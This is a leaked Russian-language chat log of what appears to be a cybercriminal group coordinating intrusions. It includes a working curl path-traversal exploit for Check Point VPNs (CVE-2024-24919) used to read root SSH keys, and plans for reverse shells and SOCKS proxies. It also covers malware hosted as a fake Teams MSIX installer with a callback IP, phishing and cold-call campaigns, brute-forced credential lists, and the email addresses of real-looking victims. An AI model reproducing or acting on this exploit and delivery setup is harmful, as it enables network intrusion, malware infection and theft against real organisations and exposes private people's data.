да занимаюсь

> <@lapa:matrix.bestflowers247.online> Send 0.01152 BTC: bc1qn0z8etys62cljzwjxl80k9y5nag7pq42s9lyes

второй пакет 9 числа просрочится, но уже лучше сейчас оплатить

это мне?

это сегодня надо сделать?

всё, всё)

хорош)

сервак есть под него?

или у тт взять новый

под скан

заказал

+

+

+

и снова это usd

usb

он отваливается или ав палит?

мм, посмотрю

по порядку только

да я на сервере запущу и дам сервер просто

пусть следит кто то

я же спать скоро

так я в 6-7 утра встаю)

бывает)

мне надо в аэропорт ее сегодня увезти в 4 утра

помнишь я тебе говорил про страну в которую она полетит?

мне туда можно на выходных?

да

а я и сам хочу

я в тг напишу попозже

В процессе

> <@usernamegg:matrix.bestflowers247.online> что там письмо новое на старых версиях аутлука ?

я пока rdweb и pulse ставлю

> <@usernameyy:matrix.bestflowers247.online> че за core impact?

> <@usernamegg:matrix.bestflowers247.online> !

`Значение thumbprint можно найти в свойствах сертификата на вкладке Состав в поле Отпечаток.` вот это не понял

как найти

`на вкладке Состав в поле Отпечаток.` не понятно где именно искать эту вкладку

ага общаюсь уже

>И бонус давайте установим за выполнение

что ему сказать

```

берешь?

++

не понял

image.png

чет нет в личном

а еще никто не набирает

от первого жду отчет по UK

Салют ставит тимс

у меня чет серта нет

> <@usernamegg:matrix.bestflowers247.online> ```

а сек

image.png

там просто не собралось

чето завис он

что ему сказать по бонусам

вроде все правильно сделал, по инструкции, но серта нет

ок

когда креды введет мне тебе ндао сказать или ты увидишь

сразу

image.png

image.png

ну вроде все подключено

а все хосты https?

или есть http еще?

а то смотрю в основном 443 порт, но бывают другие

> <@usernamegg:matrix.bestflowers247.online> Это не важно. Если ТЫ подключен по рдп, винда не импортнет серт

тогда я обе схемы буду тестить

странно, раньше же вроде подписывал

но будет дольше в 2 раза соответственно

и через рдп заходил

ну тут вроде норм идет, пока затупов не было

только перепишу не для кор импакта

ща буду anydesk пробывать

> <@usernamegg:matrix.bestflowers247.online> ну как там ?

строка:

SVyuDxAQKGmWg2tTEcvH37XURNFBsn4ZjqMYp5PrzwfbhL8JaC

4.7z

короч я уже хз

через anydesk тоже не видит

может он нам тогда файл подписать один

все равно нам нужно понять будет ли деф палит

* все равно нам нужно понять будет ли деф палить

этим сертом еще оч будет сложно подписать 100 файлов допустим

вроде

```

HBW_tmendez_1.txt

нам его подписать нужно

bn.exe

а есть для примера 100% уязвимый?

> <@usernamegg:matrix.bestflowers247.online> ```

а то не понятно работает вообще или как

ладно я уже нашел

работает

INFO:root:[+] Vulnerable: https://86.44.84.200:443

что мне скидывать в общий

чекни что я скинул

Ethan1026 пас

Final-CVE-2024-24919.7z

> <@usernamegg:matrix.bestflowers247.online> ```

* Ethan1026

> <@usernameyy:matrix.bestflowers247.online> INFO:root:[+] Vulnerable: https://86.44.84.200:443

+

сек

отойду поем

пока никто, говори как

блядство тоже отпал чтоли

он там должен быть?

```

ну вот всё что выдает эскплоит

не вижу тут пароля

```

вот в таком формате еще выдача это как в гайде

сделаешь мне еще один акк тут, партнеру дам, тоже будет помогать иногда

плиз

в описании эксплоита было написано что будет пароль?

> <@usernamegg:matrix.bestflowers247.online> ```

и носки не работали

> <@usernameyy:matrix.bestflowers247.online> вот мне эксплоит дали, я нашел машину, кто в курсе что делать?

`curl -i -s -k -X POST -H 'Host: {ip}' -H 'Content-Length: 39' --data-binary 'aCSHELL/../../../../../../../{file_name}' --tlsv1.2 'https://{ip}/clients/MyCRL'`

делаю

обьясняю куда там тыкать оператору

так мы можем чекнуть msix файлы ?

это патченный таргет скорее всего

ну ок, сделаю

пока что ничего не выдает

файл dwnl.php пришлем чуть позже" жду как пришлю

ok

они они хотят, чтобы на сервере был файлик их

ну я и жду как его выдадут

> <@usernamenn:matrix.bestflowers247.online> ```

```

3. Интеграция на ленд" только я вот думал, зачем на ленд

или это им нужен ленд?

смотри

второй сейчас начнет звонить по юсе

> <@usernameyy:matrix.bestflowers247.online> ```

> <@usernameyy:matrix.bestflowers247.online> ```

это запрос сденлай

и если они оба набирают, и будет 2 дозвона

нам id_rsa нужен

как нагрузку заменять на сайте

ну вы скажите, что нам от них нужны только msix файлы

> <@usernamenn:matrix.bestflowers247.online> это coreimpact выдает?

аа

ну щас мы попробуем что бы id_rsa получать

но пока не понятно

```

просто как я понял, ленд, это тип линк, откуда жертва будет скачивать файл msix

это у нас есть по сути

вот переделанный:

python CheckPointVPN_CVE-2024-24919.py -threads 100

я только вот не понял

работает быстро

что нужно в клеопатре подписывать

```

наш софт ?

короч, скажите им, что нам от них нужны файлы просто msi

* короч, скажите им, что нам от них нужны файлы просто msix

лендинги для выдачи файлов у нас уже есть

только нужно их файлы msix которые будут выдаться

* только нужно их файлы msix которые будут выдаваться

реверс шелл вкурсе как замутить?

да

давай попробуем одну хуйню попробовать сделать реверс

ну тут же только cat сделать можно

реверс это с таргета прямо надо

а если команду отправить на nc

ну если только cat отправлять то борода походу

ок

какие файлы выдает ленд ?

ошибка я так понял что веб сервер неверно путь читает и выдает файлы

ну с id_rsa зайти можно но на первый не пускает пока что

> <@usernameyy:matrix.bestflowers247.online> ```

admin

Ок

интересно а сразу от рута даст прочитать или нет ты пробовал?

ты можешь добавить в скрипте что бы читало порт какой стоит на ssh?

> <@usernamenn:matrix.bestflowers247.online> ты можешь добавить в скрипте что бы читало порт какой стоит на ssh?

потому что щас уже второй сервер там 22 порт не открыт

щас найду путь до конфига

нужно дописать строку что бы указывало порт который в конфиге ssh указан

```

`/etc/ssh/ssh_config`

ну так, у нас это есть

36 строка

```

+

это к примеру для первого, но тут 22 открыт, а подключения нет

+

у одного таргета порт изменен, но подключения нет, дело в другом

а за почему два файла php ?

IgnoreUserKnownHosts yes

может в этом

начинаем потихоньку - скажу если будут дозвоны

ну я кажется понял, там php файл сам будет выдавать msix

в смысле трастовые?

ну да, можете выдать

2.228.115.235

ааа?ljvtys c bcnjhbt?fuf

домена с историей,ага

* домены с историей,ага

> <@usernamegg:matrix.bestflowers247.online> что это ?

палит хром

image.png

могу еще со свого домена скачать

image.png

какая-то не быстрая связь у него с оператором, надо рядом садить реально

image.png

также палит

----

image.png

такс а тут дозвонились но говорить не стал

> <@usernamess:matrix.bestflowers247.online> 2.228.115.235

скоро проверю

> <@usernamegg:matrix.bestflowers247.online> а без подписи ?

С каким именем будете качать?

ну я так и не понял

что в контейрене подписывать

так и будет

ну как я понял наш софт нужно в контейнер положить

ща это разрулим

пока они там звонят

> <@usernameyy:matrix.bestflowers247.online> python CheckPointVPN_CVE-2024-24919.py -threads 100

сейчас там папка /home/admin/.ssh/id_rsa для вывода, менять на 56 строчке

можете поиграть

> <@usernameyy:matrix.bestflowers247.online> ```

еще один дозвон просит видео

доказать что не скамер

---

ну вообще прогресс, вчера не могли дозвонится, сегодня уже понимаем как это сделать

и трубки берут

в целом можно любую контору набрать..

поставил себе клеопатру

только спросите что именно там подписать нужно

да

точно

в процессе. я просто делюсь тем что происходит)

ну да

он ждем контейнер

а я хз, что в контейнер положить

да

120 контатков добавил сегодня

просто их же спамть надо *2$

надо больше тогда в флудилку кидать

я всё скинул, могу офаться да? я засыпаю уже

ну я так и думал

ну нужен exe

или что там нужно?

ну exe куда стучать будет

я пока тут линк настраиваю

домен

`https://dirtydreams.net/download/dwnl.php` пролили его скрипт

но msix там не выдает

`1. папку download положить в корень сайта.` ну видимо он еще должен сбросить msix

спасибо, спокойной ночи

мы добавляем 50 контактов например

как-то так

понятно дохлым не звоним и не флудим

+

ну нужен exe от вас

только уточнике

что он имеется ввиду под зловредом

+

ок, скоро его тогда в контейнер положу

да я понял

уточните, там exe должно быть в контейнере?

`https://dirtydreams.net/test.exe.gpg` вот тут зловред

+

для шифрования он мне не дает выбрать папку

он переходит папку и по сути хочет, чтобы я файл выбрал для шифрования

image.png

а

все

понял

schoury@buckman.com

`https://dirtydreams.net/Package.tar.gpg` готово

image.png

ага ждем

дада главоне чтобы дали сессию

ожидаем

ща

энидеск поставил на 2 дедика

на всякий

test(2).exe

такое название

------

че, там скобки наверное его прогу бьют?)

bsullivan@hillyard.com

----

image.png

ну все равно движ уже есть

сейчсап нащупаем

пиздец бро тема реально

sergio.salomao@messer-us.com

качает, ждём

+

аааааааааааааааа проеббббб

блятьблять

да

вижу его экран

------

пиздец

ща

мы уже подрубились он дал сессию

да

ну это разьеб) обидно конечно

но все равно

+

а что мне хернуть?

или это вам чекнуть стукнул ли?

он не запускает соксбота, я же уточнял и мы договорились на реверсшелл

где запускалось и какой архив

image.png

в тимсе русский был ептпть

никак, всё переделывать нужно если на соксбота

> <@usernamegg:matrix.bestflowers247.online> где ру то было ?

я могу добавить

ну реверсшелл очевидно лучше

а так ты можешь по ссх зайти, подлить туда сокс и запустить просто

прям несколько штук? типа на несколько портов?

> <@usernamegg:matrix.bestflowers247.online> сегодня же вот выдали они новые соксы

подлить по ссх туда сокс и запустить, по scp например

ждум тогда msix от него

> <@usernamegg:matrix.bestflowers247.online> sent an image.

юсу будем слать?

image.png

бля лучше бы не смотрел что в зуме

хорошо

+

бля ну получается везде долбоебов хватает

завтра ладно?

жду тогда msix

спросите еще

да

это прозвонщика

у нас все норм было

спасибо

обязательно ли выдавать msix через его скрипт php

походу где-то тимс цепляет русский

уже поменяли

> <@usernameugway:matrix.bestflowers247.online> sent an image.

видимо нужен новый сокс бот поднять, на страый оч плохо приходит

> <@usernamegg:matrix.bestflowers247.online> teams-044

5.7z

строка:

SVyuDxAQKGmWg2tTEcvH37XURNFBsn4ZjqMYp5PrzwfbhL8JaC

+

> <@usernamegg:matrix.bestflowers247.online> Если юзер не залетит в нашу панель, ему отдастся только офф софт

или обязательно через его скрипт php выдавать msix ?

ну его уже на юсу тогда

ясно

короче только через его скрипт нужно

> <@usernamegg:matrix.bestflowers247.online> https://www.4sync.com/web/directDownload/zU84Mo2R/pnz3pEWE.e0f260f98950c27142cdccf66f2b7c76

image.png

файлы какие-то странные

тут не msix

> <@usernamegg:matrix.bestflowers247.online> https://www.4sync.com/web/directDownload/zU84Mo2R/pnz3pEWE.e0f260f98950c27142cdccf66f2b7c76

нет

вы не так спросили

не про тот линк

ща погодите

вроде сам настроил

ща проверю

`https://dirtydreams.net/download/dwnl.php`

вот такой линк

но

но редиректит на 1

короче пропишите там в панельке

> <@usernamegg:matrix.bestflowers247.online> sent an image.

вместо 1

`Microsoft Teams-x86.msix`

и думаю заработает нормально

но коронечно тут только один файлик msix

ок! спасибо

может я ещё раз запрошу у них самплы файлов с .przhow632

с которыми они всё борятся

принято

image.png

вот тут

вместо 1

> <@lapa:matrix.bestflowers247.online> `Microsoft Teams-x86.msix`

+

`https://dirtydreams.net/download/dwnl.php` работает скачивание

скоро запущу msix

посмоторим как стукнет

пробывали на реальной сетке запускать?

> <@lapa:matrix.bestflowers247.online> `https://dirtydreams.net/download/dwnl.php` работает скачивание

`206.166.251.127` стукнуть должен

у парня лучше идет

от Салюта на сегодня все

сейчас добиваем с парнем

на завтра больше подготвлю акков

и лучше

начнем сразу по юсе ебашить

+

офнусь

до завтра

звонилку постараюсь побыстрее привезти

да блин. это .net, я нет .net

ты до сокльки тут

в общем завтра в 17 начинаем

к этому моменту всего наготовим

доброе утро

на тренировку и буду на связи

`https://blog.sekoia.io/pikabot-a-guide-to-its-deep-secrets-and-operations/`

привет

таргет есть с впнкой )

Pregis

палоалто впнка

фишинг

да вот щас подключим впн, и дам тебе через сокс его

там геморой ебучий с ее включением

Привет!

оно же через ССО включается

да, тут дела еще были

с утра

> <@usernamegg:matrix.bestflowers247.online> Pregis

ну короче делаем просыл по европе тестовый 10к ?

ок

да, щас дам доступ на впску

да

> <@usernamegg:matrix.bestflowers247.online> [11:42:57] LORD1 - Cob Meta: It works. Put on Core Impact. For example TARGET: https://103.3.252.66

я автобилдер делаю, не понадобятся билды

скоро все проверю и запущу

```

```

буду слать эти линки

а уже они будут редиректить

на один линк, где лежит msix

> <@usernamegg:matrix.bestflowers247.online> по бруту пока соберешь ?

как запущусь

я тут

делаем уже

там 20 соксов есть

с ними и прошлю

хватит для теста

да++

```

так это те, которые мы так и не заюзали

это не вчерашние

5.181.159.109

```

запустился

asmith@pregis.com

т.е не могут запустить?

подключение к впн висит внизу, палоалто

> <@usernamegg:matrix.bestflowers247.online> ты ее взял ?

шлю чисто по крупным в европе, и на которые проще всего достваить

* шлю чисто по крупным в европе, и на которые проще всего доставить

VALID_BRUT_CISCO.txt

VALID_BRUT_RDWEB.txt

VALID_BRUT_SONIC.txt

FORTI_VALID.txt

1600 писем ушло

слобо уходит, из-за соксов походу

ладно, для теста хватит

шлем пока

так я и обновил хочты

мне же выдали новые айпишники форти

пока все еще там чекаетс

* пока все еще там чекается

я все перечекиваю

поэтому там много будет дублей

но и ладно, вдруг что-то упустили

ну сервер упал же тот

поэтому там говорю, будут те, которые вы уже проверяли

nsocks пополните?

1500 баксок примерно

на месяц этого хватит думаю

буду каждый день туда заходить докупать соксы, если их будет меньше 50 штук

они там тоже не вечные, плюс еще порты они меняют зачем-то

> <@usernamegg:matrix.bestflowers247.online> sent a file.

берем на сегодня производтсва usa от 200кк

мне все 4 файла запускать?

стопнулся, 12к ушло

ждем, придет ли хоть один из крупных

+

ну реверсы походу

это те кто запустил или скачал?

Су​щес​тву​ет четыре популяр​ных началь​ных зна​чения IP.ttl, дос​таточ​но точ​но опи​сыва​- ющих семей​ство ОС уда​лен​ного узла:

X 2024-06-05 в 12.38.11.jpg

image.png

наверное это скачивания

вот этот похоже что реальный, который запустился

ну по факту нужно смотреть, кто через exe придет

я думал, у них клоака есть

ладно, ждем, пока хоть один стукнет

Ес​ли на уда​лен​ном IP име​ется ряд откры​тых пор​тов, то далеко не факт, что все пор​ты будут иметь оди​нако​вый IP.ttl. Нуж​но иметь в виду, что в интерне​те не всег​да весь сер​вер отно​- сит​ся к одно​му IP-адре​су. На деле это может быть некое сетевое устрой​ство, отправ​ляющее часть пор​тов на один сер​вер в DMZ, а часть на дру​гие.

X 2024-06-05 в 12.40.56.jpg

это мой текстой

короч никого)

да нифига)

когда все хорошо

сыпет почти сразу

просто еще на это письмо от тимса думаю не особо поведутся

короч поймем через пару часов

придет ли кто

да блин, мы просбывали тупо exe слать

вы реально думаете, что на норм сетках просто так пользователь без рута запустит exe

мы пробывали такое

не шло же

принял